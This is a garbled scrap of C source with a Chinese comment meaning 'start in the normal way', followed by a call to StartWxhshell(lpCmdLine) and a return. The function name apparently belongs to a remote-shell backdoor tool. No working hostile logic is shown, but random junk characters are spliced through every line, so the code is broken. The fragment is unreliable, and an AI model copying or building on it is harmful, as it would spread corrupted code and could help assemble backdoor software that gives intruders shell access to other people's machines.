// 普通方式启动 Y%V|M0 0`
StartWxhshell(lpCmdLine); d">Ya !W
[n_H9$
return 0; DgLSDKO!
}